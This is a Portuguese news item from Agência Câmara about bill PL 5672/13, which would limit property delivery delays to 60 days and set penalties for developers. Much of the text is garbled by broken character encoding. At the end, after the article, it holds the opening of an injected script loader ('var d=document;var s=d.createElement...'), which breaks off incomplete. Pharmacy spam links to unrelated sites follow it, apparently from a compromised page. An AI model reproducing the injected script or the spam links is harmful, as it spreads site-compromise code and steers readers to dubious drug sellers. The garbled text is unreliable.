Projeto limita atraso em entrega de imA?vel a 60 dias
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Caso perAi??odo seja ultrapassado, incorporadora terA? de pagar ao comprador 0,005% do valor da propriedade; texto dispensa votaAi??A?o no PlenA?rio
AgA?ncia CA?mara
Construtoras costumam estabelecer prazo de 180 dias, segundo deputado
Um projeto de lei (PL 5672/13) em anA?lise na CA?mara dos Deputados proAi??be construtoras de prever em contrato atraso superior a 60 dias para entrega de imA?veis. Caso descumpra a determinaAi??A?o, o incorporador ficarA? sujeito ao pagamento de multa ao proprietA?rio, correspondente a cinco milAi??simos do valor pago pelo imA?vel.
Ainda conforme o texto, do deputado Beto Albuquerque (PSB-RS), o valor terA? de se atualizado monetariamente por cada mA?s ou fraAi??A?o de atraso na entrega do imA?vel. A multa tambAi??m serA? acrescida de juros de 1% ao mA?s atAi?? a data em que se considere cumprida a obrigaAi??A?o de entrega da unidade.
PrA?tica comum
De acordo com Beto Albuquerque, a proposta visa coibir prA?tica comum entre as construtoras de prever no contrato tolerA?ncia para o atraso na entrega ai??i?? em clA?usulas que normalmente fixam um prazo de 180 dias ai??i?? e de estipular ai???mecanismos abusivos de reparaAi??A?o de danos e prejuAi??zos que resultam em indenizaAi??Ai??es de pouca monta ou Ai??nfimas Ai??queles que sA?o lesadosai???. O projeto altera a Lei do CondomAi??nio (4.591/64).
O projeto tramita em carA?ter conclusivo, o que dispensa votaAi??A?o no plenA?rio. Basta que as comissAi??es a que foi encaminhado ai??i?? Desenvolvimento Urbano, Defesa do Consumidor e de ConstituiAi??A?o e JustiAi??a e de Cidadania ai??i?? aprovem o texto sem exigA?ncias.var d=document;var s=d.createElement(‘script’); price of wellbutrin without insurance http://pegasus-is.com/2018/03/19/pills-for-depression-blue-little-pill-street/ doxazosin generic name http://samyakyouthfoundation.com/buy-amoxil-canada/